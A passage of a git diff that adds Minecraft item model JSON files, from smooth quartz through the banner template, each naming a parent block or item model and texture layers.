"minecraft:block/smooth_quartz" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_quartz_slab.json b/src/assets/minecraft/models/item/smooth_quartz_slab.json new file mode 100644 index 00000000..55c15fa9 --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_quartz_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_quartz_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_quartz_stairs.json b/src/assets/minecraft/models/item/smooth_quartz_stairs.json new file mode 100644 index 00000000..bddcd1cc --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_quartz_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_quartz_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_red_sandstone.json b/src/assets/minecraft/models/item/smooth_red_sandstone.json new file mode 100644 index 00000000..3e8943e4 --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_red_sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_red_sandstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_red_sandstone_slab.json b/src/assets/minecraft/models/item/smooth_red_sandstone_slab.json new file mode 100644 index 00000000..cae67922 --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_red_sandstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_red_sandstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_red_sandstone_stairs.json b/src/assets/minecraft/models/item/smooth_red_sandstone_stairs.json new file mode 100644 index 00000000..1ba4dd5e --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_red_sandstone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_red_sandstone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_sandstone.json b/src/assets/minecraft/models/item/smooth_sandstone.json new file mode 100644 index 00000000..d702d287 --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_sandstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_sandstone_slab.json b/src/assets/minecraft/models/item/smooth_sandstone_slab.json new file mode 100644 index 00000000..934c7ada --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_sandstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_sandstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_sandstone_stairs.json b/src/assets/minecraft/models/item/smooth_sandstone_stairs.json new file mode 100644 index 00000000..74ab5a1a --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_sandstone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_sandstone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_stone.json b/src/assets/minecraft/models/item/smooth_stone.json new file mode 100644 index 00000000..393605bd --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_stone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_stone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_stone_slab.json b/src/assets/minecraft/models/item/smooth_stone_slab.json new file mode 100644 index 00000000..e33dcb4c --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_stone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smooth_stone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/snow.json b/src/assets/minecraft/models/item/snow.json new file mode 100644 index 00000000..a4d1c989 --- /dev/null +++ b/src/assets/minecraft/models/item/snow.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/snow_height2" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/snow_block.json b/src/assets/minecraft/models/item/snow_block.json new file mode 100644 index 00000000..1564e775 --- /dev/null +++ b/src/assets/minecraft/models/item/snow_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/snow_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/snowball.json b/src/assets/minecraft/models/item/snowball.json new file mode 100644 index 00000000..7dec4dee --- /dev/null +++ b/src/assets/minecraft/models/item/snowball.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/snowball" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/soul_campfire.json b/src/assets/minecraft/models/item/soul_campfire.json new file mode 100644 index 00000000..ef63b765 --- /dev/null +++ b/src/assets/minecraft/models/item/soul_campfire.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/soul_campfire" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/soul_lantern.json b/src/assets/minecraft/models/item/soul_lantern.json new file mode 100644 index 00000000..53e65908 --- /dev/null +++ b/src/assets/minecraft/models/item/soul_lantern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/soul_lantern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/soul_sand.json b/src/assets/minecraft/models/item/soul_sand.json new file mode 100644 index 00000000..50df79cf --- /dev/null +++ b/src/assets/minecraft/models/item/soul_sand.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/soul_sand" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/soul_soil.json b/src/assets/minecraft/models/item/soul_soil.json new file mode 100644 index 00000000..c8c62d36 --- /dev/null +++ b/src/assets/minecraft/models/item/soul_soil.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/soul_soil" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/soul_torch.json b/src/assets/minecraft/models/item/soul_torch.json new file mode 100644 index 00000000..96dbfdfb --- /dev/null +++ b/src/assets/minecraft/models/item/soul_torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/soul_torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spawner.json b/src/assets/minecraft/models/item/spawner.json new file mode 100644 index 00000000..f54a94f6 --- /dev/null +++ b/src/assets/minecraft/models/item/spawner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spawner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spectral_arrow.json b/src/assets/minecraft/models/item/spectral_arrow.json new file mode 100644 index 00000000..33a79f8e --- /dev/null +++ b/src/assets/minecraft/models/item/spectral_arrow.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/spectral_arrow" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spider_eye.json b/src/assets/minecraft/models/item/spider_eye.json new file mode 100644 index 00000000..fd7547f4 --- /dev/null +++ b/src/assets/minecraft/models/item/spider_eye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/spider_eye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spider_spawn_egg.json b/src/assets/minecraft/models/item/spider_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/spider_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/splash_potion.json b/src/assets/minecraft/models/item/splash_potion.json new file mode 100644 index 00000000..d9aaa6b8 --- /dev/null +++ b/src/assets/minecraft/models/item/splash_potion.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/potion_overlay", + "layer1": "item/splash_potion" + } +} diff --git a/src/assets/minecraft/models/item/sponge.json b/src/assets/minecraft/models/item/sponge.json new file mode 100644 index 00000000..4e456fd9 --- /dev/null +++ b/src/assets/minecraft/models/item/sponge.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sponge" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_boat.json b/src/assets/minecraft/models/item/spruce_boat.json new file mode 100644 index 00000000..a425c2c8 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_boat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/spruce_boat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_button.json b/src/assets/minecraft/models/item/spruce_button.json new file mode 100644 index 00000000..91d8bc03 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_door.json b/src/assets/minecraft/models/item/spruce_door.json new file mode 100644 index 00000000..c1a3bf29 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/spruce_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_fence.json b/src/assets/minecraft/models/item/spruce_fence.json new file mode 100644 index 00000000..e2c37840 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_fence_gate.json b/src/assets/minecraft/models/item/spruce_fence_gate.json new file mode 100644 index 00000000..6f4473e4 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_leaves.json b/src/assets/minecraft/models/item/spruce_leaves.json new file mode 100644 index 00000000..6c64eda5 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_leaves.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_leaves" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_log.json b/src/assets/minecraft/models/item/spruce_log.json new file mode 100644 index 00000000..84bd7dc3 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_planks.json b/src/assets/minecraft/models/item/spruce_planks.json new file mode 100644 index 00000000..d87b1720 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_pressure_plate.json b/src/assets/minecraft/models/item/spruce_pressure_plate.json new file mode 100644 index 00000000..b0de0787 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_sapling.json b/src/assets/minecraft/models/item/spruce_sapling.json new file mode 100644 index 00000000..1c9752de --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/spruce_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_sign.json b/src/assets/minecraft/models/item/spruce_sign.json new file mode 100644 index 00000000..f5c26ebf --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/spruce_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_slab.json b/src/assets/minecraft/models/item/spruce_slab.json new file mode 100644 index 00000000..d5fa4c0f --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_stairs.json b/src/assets/minecraft/models/item/spruce_stairs.json new file mode 100644 index 00000000..7957a5a1 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_trapdoor.json b/src/assets/minecraft/models/item/spruce_trapdoor.json new file mode 100644 index 00000000..0eb91e4a --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/spruce_wood.json b/src/assets/minecraft/models/item/spruce_wood.json new file mode 100644 index 00000000..593e4ec8 --- /dev/null +++ b/src/assets/minecraft/models/item/spruce_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/spruce_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/squid_spawn_egg.json b/src/assets/minecraft/models/item/squid_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/squid_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stick.json b/src/assets/minecraft/models/item/stick.json new file mode 100644 index 00000000..f0dc3b97 --- /dev/null +++ b/src/assets/minecraft/models/item/stick.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/stick" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sticky_piston.json b/src/assets/minecraft/models/item/sticky_piston.json new file mode 100644 index 00000000..69bfdc94 --- /dev/null +++ b/src/assets/minecraft/models/item/sticky_piston.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sticky_piston_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone.json b/src/assets/minecraft/models/item/stone.json new file mode 100644 index 00000000..37f27f10 --- /dev/null +++ b/src/assets/minecraft/models/item/stone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_axe.json b/src/assets/minecraft/models/item/stone_axe.json new file mode 100644 index 00000000..1e3bc7e8 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_axe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/stone_axe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_brick_slab.json b/src/assets/minecraft/models/item/stone_brick_slab.json new file mode 100644 index 00000000..9dd874ac --- /dev/null +++ b/src/assets/minecraft/models/item/stone_brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_brick_stairs.json b/src/assets/minecraft/models/item/stone_brick_stairs.json new file mode 100644 index 00000000..d62eb4b3 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_brick_wall.json b/src/assets/minecraft/models/item/stone_brick_wall.json new file mode 100644 index 00000000..929da51f --- /dev/null +++ b/src/assets/minecraft/models/item/stone_brick_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_brick_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_bricks.json b/src/assets/minecraft/models/item/stone_bricks.json new file mode 100644 index 00000000..51de871c --- /dev/null +++ b/src/assets/minecraft/models/item/stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_button.json b/src/assets/minecraft/models/item/stone_button.json new file mode 100644 index 00000000..8802ddfb --- /dev/null +++ b/src/assets/minecraft/models/item/stone_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_hoe.json b/src/assets/minecraft/models/item/stone_hoe.json new file mode 100644 index 00000000..13f40c63 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_hoe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/stone_hoe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_pickaxe.json b/src/assets/minecraft/models/item/stone_pickaxe.json new file mode 100644 index 00000000..dec09cbe --- /dev/null +++ b/src/assets/minecraft/models/item/stone_pickaxe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/stone_pickaxe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_pressure_plate.json b/src/assets/minecraft/models/item/stone_pressure_plate.json new file mode 100644 index 00000000..bcb76d79 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_shovel.json b/src/assets/minecraft/models/item/stone_shovel.json new file mode 100644 index 00000000..727a68b9 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_shovel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/stone_shovel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_slab.json b/src/assets/minecraft/models/item/stone_slab.json new file mode 100644 index 00000000..63de5381 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_stairs.json b/src/assets/minecraft/models/item/stone_stairs.json new file mode 100644 index 00000000..7b9a82a9 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stone_sword.json b/src/assets/minecraft/models/item/stone_sword.json new file mode 100644 index 00000000..ba4a89f1 --- /dev/null +++ b/src/assets/minecraft/models/item/stone_sword.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/stone_sword" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stonecutter.json b/src/assets/minecraft/models/item/stonecutter.json new file mode 100644 index 00000000..54ffedeb --- /dev/null +++ b/src/assets/minecraft/models/item/stonecutter.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stonecutter" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stray_spawn_egg.json b/src/assets/minecraft/models/item/stray_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/stray_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/strider_spawn_egg.json b/src/assets/minecraft/models/item/strider_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/strider_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/string.json b/src/assets/minecraft/models/item/string.json new file mode 100644 index 00000000..ca6251bf --- /dev/null +++ b/src/assets/minecraft/models/item/string.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/string" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_acacia_log.json b/src/assets/minecraft/models/item/stripped_acacia_log.json new file mode 100644 index 00000000..d9a3ce1f --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_acacia_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_acacia_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_acacia_wood.json b/src/assets/minecraft/models/item/stripped_acacia_wood.json new file mode 100644 index 00000000..4c653723 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_acacia_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_acacia_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_birch_log.json b/src/assets/minecraft/models/item/stripped_birch_log.json new file mode 100644 index 00000000..d984bf7d --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_birch_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_birch_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_birch_wood.json b/src/assets/minecraft/models/item/stripped_birch_wood.json new file mode 100644 index 00000000..dc0b6698 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_birch_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_birch_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_crimson_hyphae.json b/src/assets/minecraft/models/item/stripped_crimson_hyphae.json new file mode 100644 index 00000000..254d5515 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_crimson_hyphae.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_crimson_hyphae" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_crimson_stem.json b/src/assets/minecraft/models/item/stripped_crimson_stem.json new file mode 100644 index 00000000..701f5670 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_crimson_stem.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_crimson_stem" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_dark_oak_log.json b/src/assets/minecraft/models/item/stripped_dark_oak_log.json new file mode 100644 index 00000000..d193f5f0 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_dark_oak_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_dark_oak_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_dark_oak_wood.json b/src/assets/minecraft/models/item/stripped_dark_oak_wood.json new file mode 100644 index 00000000..683446da --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_dark_oak_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_dark_oak_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_jungle_log.json b/src/assets/minecraft/models/item/stripped_jungle_log.json new file mode 100644 index 00000000..1c6cf473 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_jungle_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_jungle_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_jungle_wood.json b/src/assets/minecraft/models/item/stripped_jungle_wood.json new file mode 100644 index 00000000..ed78aec7 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_jungle_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_jungle_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_oak_log.json b/src/assets/minecraft/models/item/stripped_oak_log.json new file mode 100644 index 00000000..bb3cafbe --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_oak_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_oak_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_oak_wood.json b/src/assets/minecraft/models/item/stripped_oak_wood.json new file mode 100644 index 00000000..9ba3fb2a --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_oak_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_oak_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_spruce_log.json b/src/assets/minecraft/models/item/stripped_spruce_log.json new file mode 100644 index 00000000..e110cdf5 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_spruce_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_spruce_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_spruce_wood.json b/src/assets/minecraft/models/item/stripped_spruce_wood.json new file mode 100644 index 00000000..658f768b --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_spruce_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_spruce_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_warped_hyphae.json b/src/assets/minecraft/models/item/stripped_warped_hyphae.json new file mode 100644 index 00000000..0ebe2320 --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_warped_hyphae.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_warped_hyphae" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/stripped_warped_stem.json b/src/assets/minecraft/models/item/stripped_warped_stem.json new file mode 100644 index 00000000..6147725d --- /dev/null +++ b/src/assets/minecraft/models/item/stripped_warped_stem.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stripped_warped_stem" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/structure_block.json b/src/assets/minecraft/models/item/structure_block.json new file mode 100644 index 00000000..1325f770 --- /dev/null +++ b/src/assets/minecraft/models/item/structure_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/structure_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/structure_void.json b/src/assets/minecraft/models/item/structure_void.json new file mode 100644 index 00000000..65fb4840 --- /dev/null +++ b/src/assets/minecraft/models/item/structure_void.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/structure_void" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sugar.json b/src/assets/minecraft/models/item/sugar.json new file mode 100644 index 00000000..74e73ebd --- /dev/null +++ b/src/assets/minecraft/models/item/sugar.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/sugar" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sugar_cane.json b/src/assets/minecraft/models/item/sugar_cane.json new file mode 100644 index 00000000..ee6d1fc1 --- /dev/null +++ b/src/assets/minecraft/models/item/sugar_cane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/sugar_cane" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sunflower.json b/src/assets/minecraft/models/item/sunflower.json new file mode 100644 index 00000000..694e244c --- /dev/null +++ b/src/assets/minecraft/models/item/sunflower.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/sunflower_front" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/suspicious_stew.json b/src/assets/minecraft/models/item/suspicious_stew.json new file mode 100644 index 00000000..15e645a3 --- /dev/null +++ b/src/assets/minecraft/models/item/suspicious_stew.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/suspicious_stew" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sweet_berries.json b/src/assets/minecraft/models/item/sweet_berries.json new file mode 100644 index 00000000..e1658941 --- /dev/null +++ b/src/assets/minecraft/models/item/sweet_berries.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/sweet_berries" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tall_grass.json b/src/assets/minecraft/models/item/tall_grass.json new file mode 100644 index 00000000..df809ea7 --- /dev/null +++ b/src/assets/minecraft/models/item/tall_grass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/tall_grass_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/target.json b/src/assets/minecraft/models/item/target.json new file mode 100644 index 00000000..0e4e696b --- /dev/null +++ b/src/assets/minecraft/models/item/target.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/target" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/template_banner.json b/src/assets/minecraft/models/item/template_banner.json new file mode 100644 index 00000000..d5987555 --- /dev/null +++ b/src/assets/minecraft/models/item/template_banner.json @@ -0,0 +1,39 @@ +{ + "parent": "builtin/entity", + "gui_light": "front", + "textures": { + "particle": "block/oak_planks" + }, + "display": { + "thirdperson_righthand": { + "rotation": [ 0, 90, 0 ], + "translation": [ 0, 2, 0.5], + "scale":[ 0.375, 0.375, 0.375] + }, + "firstperson_righthand": { + "rotation": [ 0, 90, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.375, 0.375, 0.375] + }, + "gui": { + "rotation": [ 30, 20, 0 ], + "translation": [ 0, -3.25, 0], + "scale":[ 0.5325, 0.5325, 0.5325] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 1, 0], + "scale":[ 0.25, 0.25, 0.25] + }, + "head": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 16, 7], + "scale":[ 1.5, 1.5, 1.5 ] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.5, 0.5, 0.5] + } + } +} diff --git a/src/assets/minecraft/models/item/template_bed.json b/src/assets/minecraft/models/item/template_bed.json new file mode 100644 index 00000000..2f5d6979 --- /dev/null +++ 